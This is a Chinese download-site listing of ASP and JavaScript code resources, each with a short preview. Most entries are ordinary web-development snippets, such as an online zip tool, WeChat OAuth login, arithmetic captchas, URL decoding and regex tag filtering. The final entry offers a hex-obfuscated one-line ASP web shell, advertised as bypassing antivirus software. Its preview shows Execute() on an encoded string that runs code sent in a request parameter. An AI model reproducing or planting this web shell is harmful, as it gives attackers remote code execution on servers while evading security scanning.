[其它] 用ASP实现在线压缩与解压缩功能代码

说明：先上一个完整代码 欢迎使用ASP在线解压，压缩工具 <TABLE border=0 width=80% align=center cellspacing=1 cellpadding=3 style=FONT-FAMILY: Verdana;font-size:14px;BORDER: #000000 1px solid;background-color
<weixin_38632624> 上传 | 大小：85kb

[其它] 微信开发 网页授权获取用户基本信息

说明：微信公众平台最近新推出微信认证，认证后可以获得高级接口权限，其中一个是OAuth2.0网页授权，很多朋友在使用这个的时候失败了或者无法理解其内容，希望我出个教程详细讲解一下，于是便有了这篇文章。 一、什么是OAuth2.0 官方网站：http://oauth.net/   http://oauth.net/2/ 权威定义：OAuth is An open protocol to allow secure authorization in a simple and standard method
<weixin_38656662> 上传 | 大小：752kb

[其它] ASP实现加法验证码

说明：将验证码改为加法运算，比如验证码显示“25+64等于？”，那么输入“91”就能通过验证。 来看看效果图对比：字符验证码： → 加法验证码： 优点： ①与纯字符验证码相比，本程序效防止了绝大部分(99%以上)广告机的自动识别。即使是中文验证码， 也能被市面上的部分广告机识别。 ②与中文验证码相比，避免了用户输入用户名密码验证码的时候需要切换输入法的麻烦。 说明：该程序需要网站空间支持ASPJpeg组件、楷体_GB2312字体。 代码如下： <% Const FontColor = &H0
<weixin_38618094> 上传 | 大小：56kb

[其它] 基于ASP实现QQ在线查询功能

说明：本文给大家分享的qq在线查询功能代码非常简单，具体内容如下： 这段程序的方法是利用XMLHTTP来读取腾讯网站的相应HTML代码获取QQ的头像，根据这个想法，我们还可以抓取很多其他网站的信息，如天气预报、新闻等等。 ＜scr ipt language=Javascr ipt＞ 　　＜!-- 　　function getFaceImg（QQcode） 　　{ 　　var Re=new RegExp（^[1-9]{1}/d+$,g）; 　　if （!QQcode　　!Re.test（QQcode）
<weixin_38699726> 上传 | 大小：39kb

[其它] ASP编码和解码函数详解

说明：用ASP开发的时候遇到一个解码问题。虽然在ASP中使用Request获取编码过URL字符串会自动解码，但是Request.BinaryRead(Request.TotalBytes)取得Post数据时却不会解码，所以只能手动进行解码。 ASP解码函数： Function URLDecode(enStr) dim deStr,strSpecial dim c,i,v deStr= strSpecial=!#$%&'()*+,.-_/:;?[/]^`{|}~% for i=1 t
<weixin_38601215> 上传 | 大小：40kb

[其它] ASP正则表达式清除HTML指定标签的方法

说明：在HTML编辑器发布过程中，会出现一些自动生成的HTML标签，或者在留言板程序应用过程中，也会出现有人恶意写入一些HTML代码的情况，所以怎么精准的过滤掉某些特定的属性标签和参数呢？下面是代码： <% Function ReplaceText(fString,patrn,replStr) 　Set regEx = New RegExp ' 建立正则表达式。 　regEx.Pattern = patrn ' 设置模式。 　regEx.IgnoreCase = True ' 设置是否区
<weixin_38717169> 上传 | 大小：41kb

[其它] 图文介绍报表与企业微信公众号集成方案

说明：下面通过图文并茂的方式把具体操作步骤介绍如下： 概述： 有时候我们希望把想查询的数据和微信企业号平台集成，或者我们希望能在微信端，将微信中的账户与对应数据集中的字段关联，并通过访问报表获取要查询的字段信息，就好比各个营业厅查询个人当前【套餐余量】。又或者，我们希望能够更加方便的编辑自动回复。如果将报表与公众号集成这些需求都可以实现。下面我就来介绍一下该如何集成。 准备工作：微信公众号 （这里申请的是一个月的企业号体验版） 个人微信 报表工具：Finereport 步骤： 1、 配置微信公众号 通
<weixin_38632825> 上传 | 大小：844kb

[其它] 利用MSXML2.XmlHttp和Adodb.Stream采集图片

说明：利用MSXML2.XmlHttp和Adodb.Stream 代码如下:      ASP采集图片测试  <meta http-equiv=”content-type” content=”text/html; charset=ut
<weixin_38655484> 上传 | 大小：29kb

[其它] asp下检查表中是否存在某个字段（列）函数

说明：代码如下:Function   CheckFields(FieldsName,TableName)       Flag=False       sql=”select   *   from   “&TableName       Set   RS=Conn.Execute(sql)       for   i   =   0   to   RS.Fields.Count   –   1               if   RS.Fields(i).Name=FieldsName   then
<weixin_38503233> 上传 | 大小：15kb

[其它] 不错的主要用于加密的vbs(asp)位移运算类

说明：[removed] ‘ Aother: 奔腾的心 ‘     QQ: 7180001 ‘   Date: 2008-01-17 Class mShift     Private m_lPower2(31)     Public Function RShift(ByVal lThis, ByVal lBits)         On Error Resume Next         Init         If (lBits  63) 
<weixin_38682076> 上传 | 大小：20kb

[其它] asp实现dig功能的js代码

说明：//ajax 控件 function DiggAjax(){     var xhrObj=null;     if(window.XMLHttpRequest){         xhrObj=new XMLHttpRequest();     }     else if(window.ActiveXObject){     try{     xhrObj=new ActiveXObject(“Microsoft.XMLHTTP”);     }     catch(e1)     {    
<weixin_38522323> 上传 | 大小：24kb

[其它] 一句话 asp*加密版 彻底突破杀毒软件

说明：不知道怎样表达清楚。看例子吧： 代码如下:[removed]  Execute(HextoStr(“65786563757465287265717565737428636872283335292929”))  Function HextoStr(data)  HextoStr=”EXECUTE “””””  C=”&CHR(&H”  N=”)”  Do While Len(data)>1  If IsNumeric(Left(data,1)) Then  HextoStr=HextoSt
<weixin_38727567> 上传 | 大小：43kb